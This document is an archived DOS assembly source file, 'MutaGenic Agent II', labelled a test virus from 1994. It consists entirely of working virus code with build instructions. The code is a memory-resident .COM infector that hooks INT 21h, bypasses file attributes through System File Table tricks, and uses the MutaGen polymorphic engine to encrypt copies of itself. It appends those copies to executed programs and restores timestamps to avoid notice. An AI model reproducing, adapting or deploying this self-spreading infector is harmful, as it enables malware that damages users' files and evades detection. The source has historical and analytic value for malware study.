home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / MUTAGEN.ZIP / MGEN110.ZIP / MG2.ASM < prev    next >
Encoding:
Assembly Source File  |  1994-03-12  |  7.1 KB  |  207 lines
  1. ; ========================================================================>
  2. ;  MutaGenic Agent ][ - MutaGen V1.1 Test Virus
  3. ;  by MnemoniX 1994
  4. ;
  5. ;  A simple resident .COM infector implementing MutaGen.
  6. ;  To assemble:
  7. ;       TASM mg2
  8. ;       TLINK /t mg2 mutagen
  9. ; ========================================================================>
  10.  
  11. ID              equ     'MG'
  12.  
  13. PING            equ     0BADh                   ; a seldom used DOS function
  14. PONG            equ     0DEADh                  ; residency response
  15.  
  16. MUTAGEN_SIZE    equ     1385                    ; version 1.1
  17.  
  18. extrn           _MUTAGEN:near
  19.  
  20. code            segment byte    public  'code'
  21.                 org     100h
  22.                 assume  cs:code,ds:code,es:code,ss:code
  23.  
  24. start:
  25.                 jmp     virus_begin             ; fake host program
  26.                 dw      ID                      ; infection signature
  27. virus_begin:
  28.                 call    $ + 3
  29.                 pop     bp
  30.                 sub     bp,offset $ - 1
  31.  
  32.                 mov     ax,PING                 ; are we already resident?
  33.                 int     21h
  34.                 cmp     dx,PONG
  35.                 je      installed               ; if so, don't repeat ...
  36.  
  37.                 mov     ax,ds                   ; blah, blah, blah
  38.                 dec     ax
  39.                 mov     ds,ax
  40.  
  41.                 sub     word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
  42.                 sub     word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
  43.                 mov     ax,ds:[12h]
  44.                 mov     ds,ax
  45.  
  46.                 sub     ax,15
  47.                 mov     es,ax
  48.                 mov     byte ptr ds:[0],'Z'
  49.                 mov     word ptr ds:[1],8
  50.                 mov     word ptr ds:[3],(MEM_SIZE + 15) / 16
  51.  
  52.                 push    cs                      ; now move virus into memory
  53.                 pop     ds
  54.                 mov     di,100h
  55.                 mov     cx,(offset virus_end - offset start) / 2
  56.                 lea     si,[bp + start]
  57.                 rep     movsw
  58.  
  59.                 xor     ax,ax                   ; move interrupt vector 21
  60.                 mov     ds,ax
  61.  
  62.                 mov     si,21h * 4              ; (saving it first)
  63.                 mov     di,offset old_int_21
  64.                 movsw
  65.                 movsw
  66.  
  67.                 mov     ds:[si - 4],offset new_int_21
  68.                 mov     ds:[si - 2],es
  69.  
  70. installed:
  71.                 push    cs
  72.                 push    cs
  73.                 pop     ds
  74.                 pop     es
  75.  
  76.                 mov     di,100h                 ; restore original host
  77.                 push    di
  78.                 lea     si,[bp + host]
  79.                 movsw
  80.                 movsw
  81.                 movsb
  82.  
  83.                 xor     ax,ax                   ; fix a few registers
  84.                 cwd
  85.                 mov     si,100h
  86.  
  87.                 ret                             ; and leave
  88.  
  89. new_int_21:
  90.                 cmp     ax,PING                 ; residency test?
  91.                 je      pass_signal             ; yah yah!
  92.  
  93.                 cmp     ax,4B00h                ; program execute?
  94.                 je      execute                 ; oui oui ...
  95.  
  96. int_21_exit:
  97.                 db      0EAh                    ; nope, never mind
  98. old_int_21      dd      0
  99.  
  100. pass_signal:
  101.                 mov     dx,PONG                 ; give passing signal
  102.                 jmp     int_21_exit
  103.  
  104. execute:
  105.                 push    ax bx cx dx di si es ds ; a PUSHA is nicer, but it
  106.                                                 ; won't work on an 8088
  107.  
  108.                 mov     ax,3D00h                ; open file
  109.                 int     21h
  110.                 jnc     get_sft
  111.                 jmp     cant_open               ; ecch ...
  112. get_sft:
  113.                 xchg    ax,bx                   ; this virus implements the
  114.                 push    bx                      ; use of System File Table
  115.                 mov     ax,1220h                ; (TM) manipulation
  116.                 int     2Fh
  117.  
  118.                 mov     ax,1216h
  119.                 mov     bl,es:[di]
  120.                 int     2Fh
  121.                 pop     bx
  122.  
  123.                 push    cs
  124.                 pop     ds
  125.  
  126.                 mov     cx,5                    ; read header of file
  127.                 mov     dx,offset host
  128.                 mov     ah,3Fh
  129.                 int     21h
  130.  
  131.                 cmp     word ptr host,'ZM'      ; .EXE file?
  132.                 je      dont_infect             ; oh well ...
  133.  
  134.                 cmp     word ptr host[3],ID     ; already infected?
  135.                 je      dont_infect             ; maybe next time ...
  136.  
  137.                 mov     word ptr es:[di + 2],2  ; a slick way of sidestepping
  138.                                                 ; file attributes
  139.                 mov     ax,es:[di + 11h]        ; get file size
  140.  
  141.                 cmp     ax,65729 - VIRUS_SIZE + 100
  142.                 jae     dont_infect             ; don't infect, too large
  143.                 
  144.                 mov     es:[di + 15h],ax        ; move to end of file
  145.  
  146.                 sub     ax,3                    ; adjust for jump
  147.                 mov     word ptr new_jump[1],ax
  148.  
  149. ; MutaGen calling routine
  150.                 push    es di
  151.  
  152.                 push    cs                      ; setup registers
  153.                 pop     es
  154.  
  155.                 mov     di,offset virus_end
  156.                 mov     si,offset virus_begin
  157.                 mov     cx,VIRUS_SIZE
  158.                 add     ax,103h
  159.                 mov     dx,ax
  160.  
  161.                 call    _mutagen                ; "It's a POLYMORPHIC WAR
  162.                                                 ;  OUT THERE!" - P. Ferguson
  163.  
  164.                 pop     di es                   ; restore DI and ES
  165.  
  166.                 mov     ah,40h                  ; save virus code to file
  167.                 int     21h
  168.  
  169.                 mov     word ptr es:[di + 15h],0 ; reset file pointer
  170.  
  171.                 mov     ah,40h                  ; and write new jump to file
  172.                 mov     dx,offset new_jump
  173.                 mov     cx,5
  174.                 int     21h
  175.  
  176.                 mov     cx,es:[di + 0Dh]        ; restore file time
  177.                 mov     dx,es:[di + 0Fh]
  178.                 mov     ax,5701h
  179.                 int     21h
  180.  
  181. dont_infect:
  182.                 mov     ah,3Eh                  ; close up shop
  183.                 int     21h
  184. cant_open:
  185.                 pop     ds es si di dx cx bx ax
  186.                 jmp     int_21_exit
  187.  
  188.                 db      '[MutaGenic Agent II]',0
  189.  
  190. host:                                           ; original host header
  191.                 mov     ax,4C00h
  192.                 int     21h
  193.  
  194. new_jump        db      0E9h                    ; new jump instruction
  195.                 dw      0
  196.                 dw      ID
  197.  
  198. virus_end       equ     $ + MUTAGEN_SIZE + 1    ; add MutaGen size to virus
  199.                                                 ; size
  200.  
  201. VIRUS_SIZE      equ     virus_end - virus_begin
  202. MEM_SIZE        equ     VIRUS_SIZE * 2 + 100    ; extra memory for encryption
  203.                                                 ; buffer
  204.  
  205. code            ends
  206.                 end     start
  207.